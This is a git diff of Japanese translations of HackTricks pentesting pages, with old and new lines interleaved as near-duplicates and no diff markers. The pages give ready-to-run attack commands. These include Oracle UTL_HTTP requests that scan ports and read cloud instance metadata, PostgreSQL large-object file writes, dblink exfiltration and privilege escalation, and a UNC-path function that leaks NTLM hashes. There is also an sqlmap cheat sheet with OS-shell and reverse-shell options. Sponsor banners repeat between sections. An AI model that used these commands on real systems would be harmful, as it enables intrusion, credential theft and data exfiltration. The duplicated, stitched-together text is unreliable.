select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener`または`TNS:operation timed out`は、TCPポートが閉じていることを示し、`ORA-29263: HTTP protocol error`またはデータはポートが開いていることを示します。
`ORA-12541: TNS:no listener` または `TNS:operation timed out` は、TCPポートが閉じていることを示すサインであり、`ORA-29263: HTTP protocol error` またはデータは、ポートが開いていることを示すサインです。
過去にさまざまな成功を収めた別のパッケージは、[`HTTPURITYPE` Oracle抽象型の`GETCLOB()`メソッド](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705)です。このメソッドを使用すると、URLとやり取りし、HTTPプロトコルをサポートすることができます。`GETCLOB()`メソッドは、URLからGET応答を[CLOBデータ型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
私が過去に使用した別のパッケージは、さまざまな成功を収めた [`HTTPURITYPE` Oracle抽象型の `GETCLOB()` メソッド](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) で、URLと対話し、HTTPプロトコルをサポートします。`GETCLOB()` メソッドは、URLからのGETレスポンスを [CLOBデータ型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) として取得するために使用されます。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**Telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,66 +1,67 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### PostgreSQL Large Objects
### PostgreSQL 大きなオブジェクト
PostgreSQLは、画像やPDFドキュメントなどの大規模なデータ型を保存するために設計された`pg_largeobject`テーブルを介してアクセス可能な**大規模オブジェクト**として知られる構造を提供しています。このアプローチは、`COPY TO`関数よりも優れており、データをファイルシステムに**エクスポート**することで、元のファイルの正確なレプリカが維持されます。
PostgreSQLは、**大きなオブジェクト**として知られる構造を提供しており、`pg_largeobject`テーブルを介してアクセス可能で、画像やPDF文書などの大きなデータ型を保存するために設計されています。このアプローチは、**データをファイルシステムに戻すエクスポート**を可能にするため、`COPY TO`関数よりも有利です。これにより、元のファイルの正確な複製が維持されます。
このテーブルに**完全なファイルを保存**するためには、`pg_largeobject`テーブルにオブジェクトLOIDで識別されるを作成し、このオブジェクトに2KBごとのデータチャンクを挿入する必要があります。これらのチャンクが正確に2KBのサイズであること最後のチャンクを除く可能性があるは、エクスポート機能が正しく機能するために重要です
このテーブルに**完全なファイルを保存する**ためには、`pg_largeobject`テーブルにオブジェクトを作成しLOIDで識別される、次にこのオブジェクトに2KBのサイズのデータチャンクを挿入する必要があります。これらのチャンクは、エクスポート機能が正しく動作するために、正確に2KBのサイズであることが重要です最後のチャンクは例外となる可能性があります
バイナリデータを**2KBのチャンクに分割**するために、次のコマンドを実行できます:
**バイナリデータを2KBのチャンクに分割する**ために、次のコマンドを実行できます:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
各ファイルをBase64またはHexにエンコードするために、以下のコマンドを使用できます:
各ファイルをBase64またはHexにエンコードするに、以下のコマンドを使用できます:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**重要**: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。 ヘックスエンコードされたファイルはサイズが倍になるため、1チャンクあたり4KBのデータが必要です。一方、Base64エンコードされたファイルは、`ceil(n / 3) * 4`の式に従います。
**重要**: このプロセスを自動化する際は、2KBのクリアテキストバイトのチャンクを送信することを確認してください。16進数エンコードされたファイルはサイズが倍になるため、チャンクごとに4KBのデータが必要です。一方、Base64エンコードされたファイルは、`ceil(n / 3) * 4`の式に従います。
大きなオブジェクトの内容は、デバッグ目的で表示できます。
大きなオブジェクトの内容は、デバッグ目的で次のコマンドを使用して表示できます:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### `lo_creat`とBase64を使用する
#### Using `lo_creat` & Base64
バイナリデータを保存するために、まずLOIDが作成されます
バイナリデータを保存するために、最初にLOIDが作成されます:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
状況に応じて正確な制御が必要な場合、Blind SQL Injectionを悪用する際には、固定のLOIDを指定するために`lo_create`が好まれます。
精密な制御が必要な状況、例えばBlind SQL Injectionを悪用する場合、`lo_create`は固定LOIDを指定するために好まれます。
その後、データチャンクを以下のように挿入できます:
データチャンクは次のように挿入できます:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
大きなオブジェクトをエクスポートして、使用後に削除するには:
大きなオブジェクトを使用後にエクスポートし、潜在的に削除するには:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### `lo_import`とHexの使用
#### Using `lo_import` & Hex
`lo_import`関数を使用して、大きなオブジェクトのためのLOIDを作成および指定することができます:
`lo_import` 関数は、大きなオブジェクトのために LOID を作成し、指定するために利用できます:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
以下のオブジェクト作成後、各ページごとにデータが挿入され、各チャンクが2KBを超えないようにします。
オブジェクト作成後、データはページごとに挿入され、各チャンクが2KBを超えないようにします
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
@ -72,4 +73,19 @@ select lo_unlink(173454); -- Deletes the specified large object
```
### 制限事項
**大きなオブジェクトにはACLアクセス制御リストがある可能性**があり、それによりユーザーが作成したオブジェクトへのアクセスが制限されることがあります。ただし、許可の大きなACLを持つ古いオブジェクトは、コンテンツの外部流出に対してまだアクセス可能かもしれません。
**大きなオブジェクトにはACLアクセス制御リストがある可能性があり**、ユーザーが作成したオブジェクトへのアクセスが制限されることがあります。ただし、許可されたACLを持つ古いオブジェクトは、コンテンツの抽出に対して引き続きアクセス可能である場合があります。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
# dblink/lo\_importデータのエクスフィルトレーション
# dblink/lo\_import データ流出
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらをエクスフィルトレートする方法の例です。**
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらを流出させる方法の例です。**
**ソリューションを確認:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**解決策を確認してください:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**これらの攻撃に関する詳細情報は、元の論文で見つけることができます**[http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)。
**[これらの攻撃に関する詳細情報は元の文書で確認してください](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[登録された拡張機能(`dblink`など)](https://www.postgresql.org/docs/current/contrib.html)は[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます
**PostgreSQL 9.1以降**、追加モジュールのインストールは簡単です。[`dblink`のような登録済み拡張機能](https://www.postgresql.org/docs/current/contrib.html)は[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます
```sql
CREATE EXTENSION dblink;
```
## 特権昇格
Once you have dblink loaded you could be able to perform some interesting tricks:
`dblink`をロードしている場合、いくつかの興味深いトリックを実行できるかもしれません。
## Privilege Escalation
`pg_hba.conf`ファイルは、**localhostからの接続を許可**し、パスワードを知らなくても**任意のユーザー**として接続できるように**構成されている可能性があります**。このファイルは通常、`/etc/postgresql/12/main/pg_hba.conf`にあり、悪い構成は次のようになります:
ファイル `pg_hba.conf` が不適切に設定されている場合、**パスワードを知らなくても** **任意のユーザーとしてlocalhostからの接続を許可する** 可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、不適切な設定は次のようになります:
```
local all all trust
```
_この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するために一般的に使用されるため、時々見つけることができるかもしれません。_\
_また、ファイルpg\_hba.confはpostgresユーザーとグループによってのみ読み取り可能であり、postgresユーザーによってのみ書き込み可能です。_
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
_Note also that the file pg\_hba.conf is readable only by postgres user and group and writable only by postgres user._
このケースは、被害者のシェル内で既にシェルを持っている場合に**便利**です。これにより、postgresqlデータベースに接続できます。
このケースは、**すでに**被害者の**シェル**を持っている場合に**便利です**。これにより、postgresqlデータベースに接続できます。
別の可能性のある誤った設定は次のようなものです:
別の可能な誤設定は、次のようなものです:
```
host all all 127.0.0.1/32 trust
```
ローカルホストから誰でもデータベースに接続できるようになります。\
この場合、**`dblink`** 関数が**動作している**場合、すでに確立された接続を介してデータベースに接続し、アクセスすべきでないデータにアクセスすることができます。
ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\
この場合、**`dblink`** 関数が **動作している** なら、既に確立された接続を通じてデータベースに接続することで **権限を昇格** させ、アクセスできないはずのデータにアクセスすることができます:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -53,7 +54,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
## ポートスキャン
`dblink_connect`を悪用すると、**オープンポートを検索**することもできます。その**機能が機能しない場合は、ドキュメントによると、`dblink_connect_u()`を使用してみる必要があります。`dblink_connect_u()`は`dblink_connect()`と同じであるが、非スーパーユーザーが任意の認証方法を使用して接続できるようになります。
`dblink_connect`を悪用する、**オープンポートを検索**することもできます。もしその**関数が機能しない場合は、ドキュメントに記載されているように`dblink_connect_u()`を使用してみるべきです。`dblink_connect_u()`は`dblink_connect()`と同じですが、非スーパーユーザーが任意の認証方法を使用して接続できるようにします。
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -80,11 +81,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
注意`dblink_connect`または`dblink_connect_u`を使用する前に、次のコマンドを実行する必要があります。
注意してください。`dblink_connect` または `dblink_connect_u` を使用する前に、次のコマンドを実行する必要があるかもしれません:
```
CREATE extension dblink;
```
## UNC パス - NTLM ハッシュの開示
## UNCパス - NTLMハッシュ漏洩
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -105,16 +106,17 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# SQLmapの基本的な引数
# SQLmapの基本引数
## 一般的
## 一般的
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -51,11 +52,11 @@ HackTricksをサポートする他の方法
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# インジェクション箇所
# インジェクションポイント
## Burp/ZAPからのキャプチャ
## Burp/ZAPキャプチャから
リクエストをキャプチャしてreq.txtファイルを作成します
リクエストをキャプチャし、req.txtファイルを作成します。
```bash
sqlmap -r req.txt --current-user
```
@ -68,7 +69,7 @@ sqlmap -u "http://example.com/?id=*" -p id
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## ヘッダーおよびその他のHTTPメソッドでのインジェクション
## ヘッダーおよびその他のHTTPメソッドにおけるインジェクション
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -82,7 +83,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## 2次注入
## セカンドオーダーインジェクション
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
@ -98,7 +99,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトを実行しま
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトす
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -106,9 +107,9 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# インジェクションのカスタマイズ
# カスタマイズインジェクション
## サフィックスの設定
## サフィックスを設定する
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
@ -116,61 +117,78 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## ブールインジェクションを見つけるのに役立つ方法
## ブールインジェクションの発見を手伝う
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## 改ざん
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | 説明 |
| Tamper | Description |
| :--- | :--- |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます |
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコードの対応文字に置き換えます |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします |
